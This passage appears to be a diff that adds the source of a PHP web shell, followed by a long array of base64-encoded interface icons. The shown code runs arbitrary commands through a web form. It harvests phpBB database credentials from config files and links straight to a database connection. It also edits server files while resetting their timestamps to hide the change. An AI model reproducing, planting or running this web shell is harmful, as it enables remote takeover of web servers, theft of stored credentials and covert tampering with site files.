"txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {tpshexit();} + echo "</div>"; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";} +} +echo "</div>\n"; +} +} +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". 